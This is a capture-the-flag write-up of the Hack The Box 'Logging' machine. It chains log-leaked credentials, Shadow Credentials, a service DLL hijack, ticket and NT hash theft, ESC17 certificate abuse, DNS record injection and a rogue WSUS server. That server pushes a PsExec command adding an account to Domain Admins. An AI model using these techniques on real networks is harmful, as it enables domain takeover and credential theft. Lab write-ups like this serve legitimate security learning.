Logging is a hard-difficulty Windows machine from Hack The Box that walks through a full Active Directory compromise chained around a WSUS deployment. We start with a foothold on an SMB Logs share where a verbose IdentitySync trace leaks an old svc_recovery password; a simple yearly rotation guess (2025 â 2026) gets us valid Kerberos-only credentials. From there we abuse svc_recoveryâs GenericWrite over the msa_health$ managed service account through a Shadow Credentials attack to recover its NT hash and land a WinRM session. As msa_health$ we abuse a writable UpdateMonitor service that loads a DLL from a directory we control, giving us code execution as jaylee.clifton and the user flag. Finally we harvest jayleeâs TGT with Rubeus, extract her NT hash through ADCS, abuse the ESC17-vulnerable UpdateSrv template together with a DNS hijack to spoof wsus.logging.htb, and stand up a rogue WSUS server (wsuks) that pushes a Microsoft-signed PsExec64.exe as a SYSTEM update, adding msa_health$ to Domain Admins and handing us the root flag.
Logging-info-card
Reconnaissance
Before touching the box we add the target to /etc/hosts and sync our clock with the domain controller. This is not optional here, Kerberos will refuse to play along if the clock skew is too large:
1 2
echo"10.129.36.116 logging.htb dc01.logging.htb" | sudo tee -a /etc/hosts sudo ntpdate 10.129.36.116
With that out of the way we run a full TCP port scan to see what services are exposed:
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name) 3268/tcp open ldap Microsoft Windows Active Directory LDAP 3269/tcp open ssl/ldap 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 8530/tcp open http Microsoft IIS httpd 10.0 8531/tcp open ssl/http Microsoft IIS httpd 10.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49664-49743/tcp open msrpc Microsoft Windows RPC
The scan tells us a lot. Weâre dealing with an Active Directory domain controller (DC01.logging.htb), WSUS is exposed on ports 8530/8531, WinRM is available on 5985, SMB signing is required, and thereâs a substantial 7-hour clock skew between us and the target which weâll need to keep compensating for throughout the box.
Initial Access - SMB Enumeration
Weâre handed a set of credentials for this box, wallace.everette:Welcome2026@, so the first thing we do is confirm they actually work against SMB:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Logs Disk NETLOGON Disk Logon server share SYSVOL Disk Logon server share WSUSTemp Disk A network share used by Local Publishing from a Remote WSUS Console Instance.
The non-default Logs share immediately stands out, so we recursively pull everything out of it:
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (0.8 KiloBytes/sec) getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (4.6 KiloBytes/sec) getting file \Service_State.log of size 468 as Service_State.log (0.4 KiloBytes/sec) getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (1.0 KiloBytes/sec)
Credential Discovery from Logs
Reading through the downloaded logs, IdentitySync_Trace_20260219.log turns out to be a verbose LDAP connection dump that carelessly logs plaintext credentials for a service account:
The catch is that the same log shows this password was already invalid by the time the trace was captured:
1 2
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - Server error: 8009030C ... data 52e ... LDAP_INVALID_CREDENTIALS
The password Em3rg3ncyPa$$2025 embeds a year, which is a classic sign of a rotation policy. We guess the account was rotated forward and swap 2025 for 2026:
STATUS_ACCOUNT_RESTRICTION is exactly what we want to see here. It means the password is correct but the account is restricted to Kerberos-only authentication (NTLM is disabled), so we canât authenticate over NTLM but the credential is confirmed good.
Since weâre forced into Kerberos, we build a krb5.conf for the domain:
Then we request a TGT for svc_recovery. Because the environment keeps resetting our clock, we chain ntpdate and kinit inside a single sudo session so the time is correct at the moment the ticket is requested:
Valid starting Expires Service principal 04/23/2026 04:51:57 04/23/2026 08:51:57 krbtgt/[email protected]
Privilege Escalation #1 - Shadow Credentials on msa_health$
With a working ticket in hand, we ask bloodyAD what objects svc_recovery can write to. The faketime wrapper is there to smooth over the constant clock resets that would otherwise trigger Kerberos skew errors:
This is the key finding: svc_recovery effectively has GenericWrite over the msa_health$ managed service account, including write access to msDS-KeyCredentialLink. That attribute is exactly what the Shadow Credentials attack targets. We add a key credential to the account:
[+] KeyCredential generated with following sha256 of RSA key: 0c63433f3fd63c28bef008f40a552ba0d32591bb3a84bdf829ec8be70a208814 [+] Saved PEM certificate at path: N0FlhS0d_cert.pem [+] Saved PEM private key at path: N0FlhS0d_priv.pem
Now we can authenticate as msa_health$ using that certificate. We first bundle it into a PFX:
INFO:minikerberos:Loading certificate and key from file INFO:minikerberos:Requesting TGT INFO:minikerberos:AS-REP encryption key (you might need this later): INFO:minikerberos:98a21bdbbf06adcfacd4f246408f8246b79ab125621f0e4b7abae435e24f367c INFO:minikerberos:Saved TGT to file
Feeding that AS-REP key back into getnthash.py recovers the accountâs NT hash:
Mode LastWriteTime Length Name --------------------------- d-----4/23/20264:11 AM bin d-----4/16/20264:10 PM packages -a----2/21/20263:52 PM 189 App.config -a----2/21/20263:52 PM 157 packages.config -a----4/9/202610:31 PM 8192 UpdateMonitor.exe
Its log file tells us exactly how it behaves:
1
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\Logs\monitor.log | Select-Object-Last10
1 2 3 4 5 6 7 8 9
[2026-04-23 04:53:15] Starting Sentinel Update Check... [2026-04-23 04:53:15] Checking for update on core server... [2026-04-23 04:53:15] Info: Core did not find file Settings_Update.zip [2026-04-23 04:53:15] Last status: File not found on core [2026-04-23 04:53:15] Checking for update on local server... [2026-04-23 04:53:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip. [2026-04-23 04:53:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll [2026-04-23 04:53:15] Failed to load settings_update.dll. Error code: 126 [2026-04-23 04:53:15] Update check completed.
Reading between the lines, the service runs on a 3-minute cycle, it looks for Settings_Update.zip in C:\ProgramData\UpdateMonitor\, extracts it into C:\Program Files\UpdateMonitor\bin\, and then loads settings_update.dll via LoadLibrary (calling PreUpdateCheck if present). Crucially, the C:\ProgramData\UpdateMonitor\ path is writable by msa_health$, which means we control the DLL that gets loaded.
We write a small C DLL whose DllMain runs a batch of enumeration commands as whatever user loads it, dropping the output to a world-readable file:
After roughly three minutes the service picks up the zip, extracts the DLL and loads it. The log confirms the load happened (the missing PreUpdateCheck export is fine, DllMain already fired):
1 2 3 4
[2026-04-23 04:56:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\ [2026-04-23 04:56:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll [2026-04-23 04:56:16] 'PreUpdateCheck' not found in settings_update.dll. Continuing... [2026-04-23 04:56:16] Update check completed.
The DLL executed in the context of jaylee.clifton, so we read back our loot file:
1
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\out.txt
1 2 3 4 5 6 7 8
logging\jaylee.clifton d394539b6958154d06285fc93707d7cf User name jaylee.clifton ... Global Group memberships *Domain Users *IT ... HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ https://wsus.logging.htb:8531
Beyond the user flag (d394539b6958154d06285fc93707d7cf), this dump hands us the map for the rest of the box: jaylee.clifton belongs to the IT group, WSUS lives at https://wsus.logging.htb:8531, and thereâs an incident ticket at C:\Users\jaylee.clifton\Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html describing a ForceSync scheduled task that fires every 120 seconds to restart the WSUS client. All three pieces feed directly into the root path.
To move from code execution to real control of jaylee.clifton, we reuse the same DLL-hijack primitive, this time to run Rubeus and dump her TGT with tgtdeleg:
Valid starting Expires Service principal 04/23/2026 04:59:15 04/23/2026 14:59:15 krbtgt/[email protected]
With jayleeâs TGT loaded, we request a certificate for her from the default template over Kerberos, then use that certificate to pull her NT hash via UnPAC-the-hash:
[*] Requesting certificate via RPC [*] Request ID is 7 [*] Successfully requested certificate [*] Got certificate with UPN '[email protected]' [*] Saving certificate and private key to 'jaylee.clifton.pfx'
[*] Using principal: '[email protected]' [*] Trying to get TGT... [*] Got TGT [*] Trying to retrieve NT hash for 'jaylee.clifton' [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0
That leaves us with jayleeâs NT hash 1abff5519c569c11dc713706b4a15ae0, which we can now use for the ADCS abuse without depending on the flaky ticket.
ESC17 - Requesting a Certificate for wsus.logging.htb
The UpdateSrv template on this CA is vulnerable to ESC17. It lets the enrollee supply the subject (so we can set an arbitrary SAN), it has the Server Authentication EKU (so the resulting cert is valid for TLS), the IT group (which jaylee belongs to) has enrollment rights, and thereâs no manager approval so certificates issue automatically. That combination lets us mint a TLS certificate for a hostname we donât own, wsus.logging.htb:
[*] Requesting certificate via RPC [*] Request ID is 8 [*] Successfully requested certificate [*] Got certificate with DNS Host Name 'wsus.logging.htb' [*] Saving certificate and private key to 'wsus.pfx'
We split the PFX into a certificate and key and concatenate them into a single PEM that wsuks can consume:
Having a valid certificate for wsus.logging.htb is only half the impersonation, we also need the DC to resolve that hostname to us. Since the DC runs an AD-integrated DNS zone that authenticated users can update, we drop yet another DLL that runs Invoke-DNSUpdate.ps1 to add an A record pointing wsus.logging.htb at our attacker IP:
After the next cycle we confirm the record was added:
1 2
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\dns_out.txt [+] DNS update successful
Rogue WSUS Server
At this point the DC will resolve wsus.logging.htb to us and trust a TLS certificate we hold for it, which is everything a WSUS client needs to accept updates from a server we control. We start by pointing the hostname at ourselves locally so wsuks can bind to it:
1
echo"10.10.16.91 wsus.logging.htb" | sudo tee -a /etc/hosts
We launch the rogue WSUS server with a payload command that adds msa_health$ to Domain Admins. The -c flag is passed to PsExec64.exe, a Microsoft-signed binary bundled with wsuks that WSUS is perfectly happy to deploy as a signed update and run as SYSTEM:
Pentesting Tool for the WSUS MITM Attack Made by NeffIsBack version: 1.2.1
[+] Command to execute: PsExec64.exe /accepteula -s net group "Domain Admins" msa_health$ /add /domain [*] ===== Starting Web Server ===== [*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server [*] Starting WSUS Server on 10.10.16.91:8531... [*] Serving executable as KB: 4226061 [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetConfig" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetCookie" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../SyncUpdates" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetCookie" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetExtendedUpdateInfo" [+] Received GET request: /64132e34-28c5-4bc7-a639-d7cb406212f4/PsExec64.exe [+] GET request for exe: /64132e34-28c5-4bc7-a639-d7cb406212f4/PsExec64.exe
The GET request for PsExec64.exe in the log is the DC pulling our malicious âupdateâ. Within a couple of minutes the ForceSync task from the incident ticket kicks the WSUS client into a check-in, it connects to our rogue server, downloads the signed executable, and runs it as SYSTEM.
Confirming Domain Admin
We verify that the payload landed and msa_health$ is now a Domain Admin:
1 2 3 4 5 6 7 8 9
*Evil-WinRM* PS> net group"Domain Admins" /domain Group name Domain Admins Comment Designated administrators of the domain
Members
------------------------------------------------------------------------------- Administrator msa_health$ toby.brynleigh The command completed successfully.
Root Flag
A fresh WinRM session picks up the new group membership, and as a Domain Admin we can read the root flag from toby.brynleighâs desktop: